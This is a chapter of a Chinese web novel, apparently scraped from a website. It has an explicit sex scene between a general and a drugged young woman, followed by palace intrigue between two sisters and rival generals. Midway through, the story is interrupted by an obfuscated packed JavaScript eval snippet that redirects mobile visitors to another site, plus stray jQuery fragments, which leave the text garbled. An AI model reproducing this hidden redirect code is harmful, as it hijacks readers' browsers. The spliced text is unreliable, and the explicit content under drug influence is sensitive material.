赫连时嗤笑一声,眼尾带了猩红,手指狠狠抹去乔菀眼角的泪珠。男人失控还尚存一丝理智,控制着力道,怕弄疼了怀中的女子。
“现在舒服些了吗?”赫连时喘着气,因着女子的嘤咛而更加卖力。
“好一些了。”乔菀不敢睁眼,她觉得此刻格外荒淫,但她又享受的很。
赫连时温柔的不像话,带着她慢慢探索,第一次好似也没有话本子上讲的那般疼。
男人的唇贴着她耳朵,戏谑道:“怎么不睁眼?”
“妆定是花了,发丝也乱的很。”乔菀用手抵着赫连时靠下来的胸膛,嗔道。
“不花,很美。”
赫连时哄着她,替她捋了捋鬓边的发丝,突然起了玩心。
他想起来,书册子上有一页画了女子对着镜子:“菀菀,你进我书房的时候,可曾看过一本红色的册子?”
想到这个册子,乔菀就面红,看之前哪料到这册子里画的尽是些不堪入目的画面,忙撒谎道:“没有。”
“嘴硬,你耳朵都红了,定是看过。”赫连时瞧着她发红的耳尖,凑得更近了。
“将军问这个干什么!”此时乔菀体内的药已经解了大半了,羞意更甚,一只手伸出去要拿小衣挡着面前。
下一瞬,赫连时竟然直接含住了她的小衣。
“混蛋!”
“还有更混蛋的。”赫连时见她眼里已然恢复清明,想要的就更多了。
毕竟刚刚他可是给她做了解药,总得讨些报酬回来。做都做了,总得要的更多些。
乔菀身子一空,被男人打横抱起,身上只盖了件薄薄的小衣,她又惊又恼:“将军要做什么!”
赫连时盯着那面巨大的西洋镜,挑眉:“我给菀菀做了解药,菀菀要给我报酬才是。”
胭脂水粉被男人撇开,当啷掉了一地。怕她着凉,小衣被赫连时垫在她下边。
乔菀见着镜中自己不着寸缕,唯有散落的青丝蔽体,忍不住蜷成一团。
“乖,菀菀一向很美,此刻更美。”赫连时连哄带亲把她发丝撩开,热气呼在她耳后。
乔菀望着晃动的西洋镜,泪水淌过脸颊,任由男人摆弄自己。她用他解了药,这是她欠他的。
只是她从未想过赫连时冷静自持的外表下,能疯成这般。
“怎么又哭了,是不是弄疼你了。”他碰过她唇,放轻了力道。
“你个疯狗。”乔菀咬了他一口,露出一道牙印。
只可惜这牙印对常年习武的赫连时来说,就像挠痒痒。男人唇吻的越发不对劲:“菀菀,我吻你另外一个唇好不好。”
赫连时把她翻过来,她力气小,拗不过他,只得任由他胡来。
手指掐着他发丝,捶着他肩头,声音破碎:“不要这样,将军,脏。”
“不脏。”赫连时吻的深,搅的她越发嘤咛。
垫着的小衣几乎湿透。
良久,乔菀懒懒趴在赫连时肩头,委屈地想揍他,抬手又绵软地滑了下去。
赫连时小口小口喂着她喝水,时不时捏捏她粉色的脸。
“将军不渴么?”
“刚刚喝饱了。”赫连时低笑,意有所指。
乔菀真恨自己长了嘴问他,一双眼瞪得大,赫连时笑得更欢。
“带你去沐浴。”赫连时抱起她。
“奴家自己可以。”乔菀作势推开他,腿刚刚碰到地上就软了下去。
“都说了我来。”赫连时把她捞起来,揉了揉她。
水温温的,冒着热气,面上漂浮着玫瑰花瓣,乔菀浸润其中,顿觉身心放松,靠在赫连时怀里舒服地睡着了。
乔菀做了一个荒诞的梦。
梦里赫连时不依不饶,沐浴还要,而且愈发凶狠。
刚刚太累,眼皮子太沉,她睁不开眼,只得当做一场梦。
这场沐浴,赫连时叫人换了三次热水,他发现沐浴做着更舒服。
常年习武,他体力惊人,之前怕伤了乔菀,自是不够餍足,趁着乔菀睡着,他难忍又来了几次。
待到乔菀悠悠转醒,已经是深夜。
屋内灯火明亮,赫连时衣冠齐整,低头为她敷药。
而她身上只穿了一件薄纱衣。
乔菀脸突然一阵红。
“别乱动。”赫连时把她手拿开,小心翼翼为她那处抹药。
冰凉的药混着男人灼热的体温,她当真又有了反应。赫连时轻笑,拿过帕子替她擦去。
“不能再来了,怕你受伤。”赫连时笑她。
“奴家哪有这个意思。”乔菀缩了缩,语气又急又娇,眼角带了泪珠,赫连时看的心中一软。
“饿了吧,正好面还是热的,本将军喂你吃。”赫连时端过一旁的面,仔细夹了一筷子,吹了吹递到她面前。
男人笑得温柔,靠的她很近,心跳如雷。
夏日有些热了,一碗热气腾腾的面吃的乔菀出汗,赫连时又拿了新帕子替她拭汗。
乔菀想接过碗,自己吃,却被赫连时拦下:“碗壁烫,再说你今日太过辛苦。”
赫连时特意加重“辛苦”二字,惹得乔菀头低了又低。
“莫要羞了,以后还会有很多次。”赫连时喂完她最后一口,拿了本册子过来,“深夜了适合看点深夜看的书。”
册子正好翻开对着镜子的那一页,简直不堪入目,乔菀别过身子去,又被男人捞过来。
男人手捻着书页,往后翻了一页:“下月我们成婚,新婚之夜我们用这个姿势,这个也不错,这个也行……”
“诶,夫人怎么脸红了?”
乔菀深吸一口气,趁他不注意溜进了被窝里。
赫连时盯着床上包成蚕蛹的人儿,笑意深深。
烛光吹灭,月光如水,一夜好眠。
这个夜晚,魏将军府却不太安宁。
“魏将军,赫将军白日已把乔菀从丞相府救了出来,合情蛊也生出红色血脉,二人已经生米煮成熟饭。”乔荷微微一笑,眼里尽是得逞。
“干得不错。”光影摇曳中,魏晗那张雌雄莫辨的脸显得更加诡异,一张信纸在他手中被烛火焚为灰烬。
“奇兵阵在东南山丘位置,记住利用乔菀把赫连时引过去,等开了奇兵阵,我们便杀了赫连时。”魏晗勾唇,夫妻自相残杀才有意思。
乔荷敛眉,眼里闪过一丝狠厉:“是,将军。”
乔荷要走,突然被魏晗叫住:“你和乔菀二姐妹,你可比乔菀好太多,事成之后,本将军会给你数不尽的荣华富贵,所以断不可心软容乔菀坏了我们的事情。”
乔荷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15232176|163709||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手心紧捏,是呀,她本就比乔菀好,幼时弹琴便比她高一筹,容貌也比她美三分,如今自己更是武艺高强,可凭什么乔菀那么好命,有如此机缘,如今还叫赫连时明目张胆地宠爱她一人。
又有人爱她,又有自己的琴馆,这样的乔菀不禁让她这个做姐姐的心生不甘。
乔荷自己活的像阴沟里的老鼠,不见天日。
而这一切的始作俑者,是她眼前这个男人,可她没有反驳的能力,更没有违抗的机会。
她这一辈子,注定要与夜同行。
丞相府内。
王丞相摔了杯子,第一次对刘玉发了难,碍着她肚子大了又不好发作,气的来回踱步。
“你你你!”指了半天,王丞相憋不出一句完整的话。
刘玉皱着脸,面色发愁:“人家也不知道这事能被赫将军知道啊!”
“还说!”王丞相甩袖,心里暗道自己怎么娶了个祖宗,“你不是信誓旦旦说,此计一定能成,结果呢,赫连时骑着马轰了我们丞相府,如今京城都在传我们欺负赫将军夫人,门府脸面都丢光了。”
“那还不是你太色急,若不是你看上了乔姑娘哪还有这事情!”刘玉拍桌,怒从心来。
“这不是你出的主意吗?我的祖宗。”王丞相叹气。
“这主意是……”刘玉顿了顿,眉目一凛,“这计划是乔荷出的!我定要找她算账!”
“乔荷不是将军府的人吗?恐怕这事情是乔家两姑娘算计我们呢!”王丞相揉了揉眉心,无奈道。
“不,这乔荷看起来恨透了乔菀,我不会看错人。”
王丞相不愿再争辩下去:“罢了罢了,所幸今日没真碰了那乔姑娘,这乔姑娘真厉害,看着没什么背景,居然能让这赫将军如此在乎,真是稀奇。”
“你不也挺在乎?”刘玉拔高了音量。
“哐哐哐!”敲门声打断了二人的争辩。
一黑衣女子走进来,缓缓摘下帷帽,露出姣好的面庞。
“乔荷,你还有脸来找我?”刘玉摸了摸肚子,斜睨乔荷一眼。
“夫人,今夜奴家上门,是特意向您赔罪的,再者,奴家还有一计,还望您配合。”
翌日清晨,赫连时早早去了书房。
赫连时接过白夜递过来的信纸,眸子沉了下去:“这魏府,当真是阴险。”
“此事要不要告诉夫人?”白夜小心道。
“不必,告诉她反而惹她忧愁,再者也是容易暴露,毕竟乔荷是她姐姐,她又是心软的女子。”赫连时想起昨日温存,叹了口气,“传本将军命令,一切将计就计,另外多派些暗卫护着夫人。”
“对了,”赫连时脸上突然浮起笑意,“本将军下月成婚。”
一句话说的没头没尾,赫连时好似说给自己听,又好似说给白夜听。
白夜摇摇头,对赫将军偶尔的莫名其妙习以为常,这将军每每提到夫人,嘴角便总是挂了一副笑意,还逼着大家都得尊称这未过门的乔姑娘为夫人。
不喊扣月银。
喊了赏银子。
另一边乔菀醒来,玉竹替她更衣,也句句不离“夫人”二字,一路找到书房,更是被路上经过的丫鬟们喊红了脸。
赫连时笑眼盈盈看着她:“本将军府里的人,嘴够甜吧,夫人。”